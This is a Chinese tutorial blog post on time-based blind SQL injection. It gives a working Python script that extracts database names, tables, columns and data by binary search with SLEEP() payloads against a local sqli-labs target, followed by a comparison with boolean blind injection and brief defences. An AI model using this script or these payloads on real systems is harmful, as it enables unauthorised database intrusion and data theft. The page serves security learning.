利用二分法进行 SQL 时间盲注

news2025/2/11 12:48:35

什么是时间盲注?

SQL 盲注(Blind SQL Injection)是一种常见的 Web 安全漏洞,其中时间盲注是基于查询延迟的 SQL 注入方式。当服务器不返回可见的错误信息时,我们可以利用 SLEEP() 函数来判断查询结果是否符合预期。

代码解析

本代码通过 二分法 + 时间盲注 逐字符提取数据库中的信息。它通过 SLEEP() 让服务器延迟响应,从而判断 SQL 条件是否成立。

import requests
import concurrent.futures
import time

def binary_search_character(url, query, index, low=32, high=127):
    while low < high:
        mid = (low + high + 1) // 2
        payload = f"1' AND IF(ASCII(SUBSTRING(({query}),{index},1)) >= {mid}, SLEEP(2), 0) -- "
        res = {"id": payload}
        
        start_time = time.time()
        r = requests.get(url, params=res)
        response_time = time.time() - start_time
        
        if response_time > 1.5:  # 服务器延迟意味着条件成立
            low = mid
        else:
            high = mid - 1

    return chr(low) if low > 32 else ''

def extract_data(url, query, max_length=200):
    extracted_data = [''] * max_length
    
    with concurrent.futures.ThreadPoolExecutor(max_workers=10) as executor:
        future_to_index = {executor.submit(binary_search_character, url, query, i): i for i in range(1, max_length + 1)}
        
        for future in concurrent.futures.as_completed(future_to_index):
            index = future_to_index[future]
            try:
                result = future.result()
                if result:
                    extracted_data[index - 1] = result
                    print(f": {''.join(extracted_data).strip()}")
            except Exception as exc:
                print(f"Error extracting character {index}: {exc}")
    
    return ''.join(extracted_data).strip()

if __name__ == '__main__':
    url = 'http://127.0.0.1/sqlilabs/Less-8/index.php'
    database_name = extract_data(url, "SELECT database()")
    print(f"数据库名: {database_name}")

    table_name_query = f"SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='{database_name}'"
    table_names = extract_data(url, table_name_query)
    print(f"表名: {table_names}")

    table_name = table_names.split(',')[0]
    column_name_query = f"SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='{table_name}' AND table_schema='{database_name}'"
    column_names = extract_data(url, column_name_query)
    print(f"列名: {column_names}")

    column_name = column_names.split(',')[1]
    data_query = f"SELECT GROUP_CONCAT({column_name}) FROM {database_name}.{table_name}"
    extracted_values = extract_data(url, data_query)
    print(f"数据: {extracted_values}")

时间盲注的原理

  • SLEEP(2): 如果条件为真,服务器会延迟 2 秒响应。
  • 通过 time.time() 计算请求的响应时间,判断是否触发了 SLEEP()
  • 逐字符采用二分法减少请求次数,提高提取效率。

效果展示

两种注入方式使用的sql语句基本相同,主要是回显判断的方式不一样

时间盲注(Time-Based Blind SQL Injection)和布尔盲注(Boolean-Based Blind SQL Injection)是两种常见的 SQL 注入攻击方式,它们的核心区别在于攻击响应的方式判断条件成立的方式

两种方式区别:

1. 响应方式

时间盲注 (Time-Based Blind SQL Injection)

  • 特征:攻击者通过在 SQL 查询中注入 SLEEP() 函数,使数据库在查询满足特定条件时延迟响应。
  • 如何判断:通过测量响应时间来确定 SQL 条件是否成立。例如,若查询条件成立,数据库会延迟一段时间(例如 2 秒),否则响应立即返回。
示例:
' AND IF(ASCII(SUBSTRING(database(), 1, 1)) = 65, SLEEP(2), 0) --
  • 如果 ASCII(SUBSTRING(database(), 1, 1)) = 65(即 A),服务器会延迟 2 秒;否则,查询立刻返回。

布尔盲注 (Boolean-Based Blind SQL Injection)

  • 特征:攻击者通过注入布尔表达式,服务器返回不同的页面响应或状态,来判断条件是否成立。一般不涉及实际的数据返回。
  • 如何判断:通过页面响应的不同来判断 SQL 查询的条件是否成立。例如,查询条件成立时,页面返回正常;查询条件不成立时,页面返回错误或不同的内容。
示例:
' AND ASCII(SUBSTRING(database(), 1, 1)) = 65 --
  • 如果 ASCII(SUBSTRING(database(), 1, 1)) = 65(即 A),查询结果为真,页面正常显示。
  • 如果查询结果为假,页面显示错误或不同的内容。

2. 判断条件

时间盲注

  • 通过时间延迟判断:攻击者无法从页面内容中直接看到数据或错误信息,只能通过查询所引入的时间延迟来判断条件成立。
  • 优点:即使页面响应没有变化(如无错误提示),攻击者依然能通过时间差推断出数据。

布尔盲注

  • 通过页面内容判断:攻击者通过页面的不同表现(如响应内容变化、错误提示、页面状态)来推断条件是否为真。
  • 缺点:依赖页面的可见反馈。如果页面没有明显的变化,可能需要更精细的判断。

3. 执行效率

时间盲注

  • 效率较低:每次查询后,攻击者需要等待服务器的响应延迟,通常这种延迟为 1-5 秒。这会使得一次查询的时间变长,导致数据提取速度较慢。
  • 适用场景:适用于目标服务器没有错误信息反馈,或者防火墙和防护措施使得布尔盲注失效的情况。

布尔盲注

  • 效率较高:布尔盲注通常只需要判断一次响应结果即可,不需要等待延迟,因此效率较高。
  • 适用场景:适用于目标系统没有显式的错误信息,但能够根据页面响应的变化来区分不同的条件。

4. 防御难度

时间盲注

  • 防御困难:因为时间盲注依赖于延迟响应,攻击者通常不会直接看到反馈数据,所以传统的输入过滤和错误信息隐藏防御策略通常无法有效防止。
  • 防御方法:使用 SQL 执行时间限制(例如:SET GLOBAL max_execution_time=500),或者通过 Web 应用防火墙(WAF) 监测异常响应时间。

布尔盲注

  • 防御较容易:布尔盲注依赖于页面内容的不同反馈,通常可以通过 错误信息屏蔽输入验证 来防止。
  • 防御方法:使用 预编译语句(Prepared Statements) 来避免 SQL 注入,过滤或限制用户输入。

5. 使用场景

时间盲注

  • 当目标没有错误反馈,并且不容易观察页面响应的差异时,时间盲注是一个有效的攻击方式。例如,某些网站或应用可能故意隐藏错误信息,只返回固定的页面内容。
  • 适用于服务器响应时间差异明显的情况,例如较大的数据库查询或复杂的子查询。

布尔盲注

  • 当目标服务器根据输入条件返回不同的响应(如页面内容变化、错误信息)时,布尔盲注更为高效。
  • 适用于返回不同页面内容的情况,例如错误页面、成功页面、或者其他表现形式。

总结:

  • 时间盲注:依赖延迟响应来判断 SQL 查询是否成立,适用于没有错误反馈的目标,防御较为困难,但攻击速度较慢。
  • 布尔盲注:通过判断页面响应的变化来进行攻击,适用于能观察到页面差异的目标,防御较为容易,攻击效率较高。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2296322.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

基于STM32的声纹识别智能门锁

一、项目背景与意义 行业痛点&#xff1a;传统指纹锁存在表皮磨损识别失败风险&#xff0c;声纹具备活体检测特性 技术优势&#xff1a; - 采用MFCC&#xff08;梅尔频率倒谱系数&#xff09;替代传统FFT&#xff0c;提升说话人特征区分度 - 动态时间规整(DTW)算法解决语…

在CT107D单片机综合训练平台上实现外部中断控制LED闪烁

引言 在单片机开发中&#xff0c;外部中断是一个非常重要的功能&#xff0c;它可以让单片机在检测到外部信号变化时立即做出响应。本文将详细介绍如何在CT107D单片机综合训练平台上使用外部中断来控制LED灯的闪烁。我们将使用两种不同的方式来实现这一功能&#xff1a;一种是在…

C++ Primer 类型转换

欢迎阅读我的 【CPrimer】专栏 专栏简介&#xff1a;本专栏主要面向C初学者&#xff0c;解释C的一些基本概念和基础语言特性&#xff0c;涉及C标准库的用法&#xff0c;面向对象特性&#xff0c;泛型特性高级用法。通过使用标准库中定义的抽象设施&#xff0c;使你更加适应高级…

Visual Studio Code中文出现黄色框子的解决办法

Visual Studio Code中文出现黄色框子的解决办法 一、vsCode中文出现黄色框子-如图二、解决办法 一、vsCode中文出现黄色框子-如图 二、解决办法 点击 “文件”点击 “首选项”点击 “设置” 搜索框直接搜索unicode选择“文本编辑器”&#xff0c;往下滑动&#xff0c;找到“Un…

“可通过HTTP获取远端WWW服务信息”漏洞修复

环境说明&#xff1a;①操作系统&#xff1a;windows server&#xff1b;②nginx&#xff1a;1.27.1。 1.漏洞说明 “可通过HTTP获取远端WWW服务信息”。 修复前&#xff0c;在“响应标头”能看到Server信息&#xff0c;如下图所示&#xff1a; 修复后&#xff0c;“响应标头…

CAD 屏幕进度条

参考鸿视频实现&#xff0c;代码如下&#xff1a; 主类 using System.IO.Ports; using System.Threading; using System.Windows.Controls; using static IFoxDemo.进度条class; using static System.Windows.Forms.VisualStyles.VisualStyleElement.TrackBar;//[assembly: C…

小红书爬虫: 获取所需数据

小红书&#xff0c;又名 “小红书 ”或简称 “红”&#xff0c;已迅速成为中国社交和电子商务领域的重要参与者&#xff0c;成为一个不可或缺的平台。对于企业、营销人员和数据分析师来说&#xff0c;从小红书收集数据可以获得宝贵的洞察力&#xff0c;从而推动业务增长。虽然这…

使用sunshine和moonlight串流时的音频输出问题

设备&#xff1a;电脑和平板串流&#xff0c;把平板当副屏使用 1.如果启用安装steam音频驱动程序&#xff0c;则平板有声&#xff0c;电脑无声&#xff0c;在moonlight端可以设置平板和电脑同时发声&#xff0c;但是有点卡 2.只想电脑发声&#xff0c;平板无声 禁用安装steam…

活动预告 |【Part 2】Microsoft 安全在线技术公开课:通过扩展检测和响应抵御威胁

课程介绍 通过 Microsoft Learn 免费参加 Microsoft 安全在线技术公开课&#xff0c;掌握创造新机遇所需的技能&#xff0c;加快对 Microsoft Cloud 技术的了解。参加我们举办的“通过扩展检测和响应抵御威胁”技术公开课活动&#xff0c;了解如何更好地在 Microsoft 365 Defen…

网络工程师 (26)TCP/IP体系结构

一、层次 四层&#xff1a; 网络接口层&#xff1a;TCP/IP协议的最底层&#xff0c;负责网络层与硬件设备间的联系。该层协议非常多&#xff0c;包括逻辑链路和媒体访问控制&#xff0c;负责与物理传输的连接媒介打交道&#xff0c;主要功能是接收数据报&#xff0c;并把接收到…

GIS笔记之Shapefile与KML相互转换

在GIS应用中&#xff0c;各种不同类型数据的转换与使用是一个重要的环节。在这其中&#xff0c;Shapefile和KML是两种常见的数据形式&#xff0c;两者间的相互转换也是日常工作和学习绕不开的话题。在这里&#xff0c;我们将常用的几种数据转换方法整理如下。 1.Shapefile和KM…

【UVM】寄存器模型

寄存器模型的优势 sequence复用性高&#xff0c;方便对 DUT 中寄存器进行读写&#xff1b;提供了后门访问方式&#xff0c;可以不耗时的获取寄存器的值&#xff1b;可以很方便的对寄存器的 coverage 验证点的收集 寄存器模型基本概念 寄存器模型概念作用uvm_reg_field寄存器模…

WordPress博客在fnOS环境下的极简搭建与公网地址配置指南

文章目录 前言1. Docker下载源设置2. Docker下载WordPress3. Docker部署Mysql数据库4. WordPress 参数设置5. 飞牛云安装Cpolar工具6. 固定Cpolar公网地址7. 修改WordPress配置文件8. 公网域名访问WordPress 前言 你是否曾经为搭建自己的网站而头疼不已&#xff1f;是不是觉得…

计算机毕业设计SpringBoot校园二手交易小程序 校园二手交易平台(websocket消息推送+云存储+双端+数据统计)(源码+文档+运行视频+讲解视频)

温馨提示&#xff1a;文末有 CSDN 平台官方提供的学长联系方式的名片&#xff01; 温馨提示&#xff1a;文末有 CSDN 平台官方提供的学长联系方式的名片&#xff01; 温馨提示&#xff1a;文末有 CSDN 平台官方提供的学长联系方式的名片&#xff01; 作者简介&#xff1a;Java领…

2025年前端面试题~ 【前端面试】更新

前言 金三银四的招聘季即将来临&#xff0c;对于怀揣前端梦想的求职者而言&#xff0c;这是机遇与挑战并存的黄金时段。前端面试可不只是简单的问答&#xff0c;它是一场对综合能力的深度检验。面试官会从多个维度考量&#xff0c;比如扎实的 HTML、CSS 和 JavaScript 基础&…

从基础到人脸识别与目标检测

前言 从本文开始&#xff0c;我们将开始学习ROS机器视觉处理&#xff0c;刚开始先学习一部分外围的知识&#xff0c;为后续的人脸识别、目标跟踪和YOLOV5目标检测做准备工作。我采用的笔记本是联想拯救者游戏本&#xff0c;系统采用Ubuntu20.04&#xff0c;ROS采用noetic。 颜…

Photoshop自定义键盘快捷键

编辑 - 键盘快捷键 CtrlShiftAltK 把画笔工具改成Q , 橡皮擦改成W , 涂抹工具改成E , 增加和减小画笔大小A和S 偏好设置 - 透明度和色域 设置一样颜色 套索工具 可以自定义套选一片区域 Shiftf5 填充 CtrlU 可以改颜色/色相/饱和度 CtrlE 合并图层 CtrlShiftS 另存…

LSTM的介绍

网上一些描述LSTM文章看的云里雾里&#xff0c;只是介绍LSTM 的结构&#xff0c;并没有说明原理。我这里用通俗易懂的话来描述一下。 我们先来复习一些RNN的核心公式&#xff1a; h t t a n h ( W h h t − 1 W x x t b h ) h_t tanh(W_h h_{t-1} W_x x_t b_h) ht​tan…

C++ ——从C到C++

1、C的学习方法 &#xff08;1&#xff09;C知识点概念内容比较多&#xff0c;需要反复复习 &#xff08;2&#xff09;偏理论&#xff0c;有的内容不理解&#xff0c;可以先背下来&#xff0c;后续可能会理解更深 &#xff08;3&#xff09;学好编程要多练习&#xff0c;简…

AI技术填坑记2:标注系统

在问答中,通用大模型往往拥有不可控性,而在正常的业务系统里面,往往有自己的各种专门的术语和内容,标注系统可以对大量数据进行标记,确认大模型解答的结果符合设想。 一、总体思路 一个标注,一般分为模块、应用、提问词汇、标注值,其中,模块可以认为是一种应用分类;应…